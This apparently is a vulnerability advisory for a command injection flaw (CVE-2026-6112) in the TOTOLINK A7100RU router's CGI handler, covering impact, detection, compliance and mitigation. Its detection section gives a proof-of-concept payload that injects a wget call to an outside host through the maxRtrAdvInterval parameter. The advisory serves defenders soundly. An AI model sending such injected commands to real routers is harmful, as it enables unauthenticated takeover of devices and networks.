Executive Summary

CVE-2026-6112 is a command injection vulnerability in the TOTOLINK A7100RU router, version 7.4cu.2313_b20191024. It exists in the CGI Handler component, specifically in the function setRadvdCfg within the /cgi-bin/cstecgi.cgi file. The vulnerability arises because the user-supplied parameter maxRtrAdvInterval is improperly handled and passed to system commands without sufficient validation.

An attacker can send a crafted HTTP POST request containing malicious commands in the maxRtrAdvInterval parameter. This causes the router to execute arbitrary operating system commands remotely, such as downloading files or running other harmful commands. The exploit has been publicly disclosed and demonstrated with a proof of concept.

Useful 0 Not Useful 0

Impact Analysis

This vulnerability allows remote attackers to execute arbitrary operating system commands on the affected router without any authentication. This can lead to full compromise of the device.

• Attackers could take control of the router, potentially intercepting or redirecting network traffic.
• They could install malware or create persistent backdoors.
• Sensitive information passing through the router could be exposed or manipulated.
• The overall security and availability of the network could be severely impacted.

Useful 0 Not Useful 0

Detection Guidance

This vulnerability can be detected by sending a crafted HTTP POST request to the endpoint /cgi-bin/cstecgi.cgi on the affected Totolink A7100RU router. The request should include the parameter maxRtrAdvInterval set to a command that can confirm command execution, such as a wget command to a controlled server.

For example, a proof of concept involves sending a POST request with maxRtrAdvInterval set to `wget 192.168.6.1:7777/testpoc`. If the router executes this command, it confirms the presence of the vulnerability.

Detection commands or steps include using tools like curl or wget to send the crafted POST request with the malicious payload and monitoring for any outbound connections or side effects indicating command execution.

Useful 0 Not Useful 0

Compliance Impact

The vulnerability allows remote attackers to execute arbitrary operating system commands on the affected TOTOLINK A7100RU router. This could lead to unauthorized access, data breaches, or disruption of services.

Such unauthorized access and potential data compromise can negatively impact compliance with common standards and regulations like GDPR and HIPAA, which require protection of personal and sensitive data against unauthorized access and breaches.

Therefore, exploitation of this vulnerability could result in violations of these regulations due to failure to adequately secure network devices and protect data confidentiality and integrity.

Useful 0 Not Useful 0

Mitigation Strategies

To mitigate the CVE-2026-6112 vulnerability in the TOTOLINK A7100RU router, immediate steps include restricting remote access to the affected CGI interface (/cgi-bin/cstecgi.cgi) to trusted networks only.

Additionally, monitor network traffic for suspicious HTTP POST requests containing the maxRtrAdvInterval parameter, which could indicate exploitation attempts.

If possible, disable or restrict the vulnerable function setRadvdCfg or the CGI Handler component until a patch or firmware update is available from the vendor.

Applying any available firmware updates or patches from TOTOLINK addressing this vulnerability should be prioritized once released.

Useful 0 Not Useful 0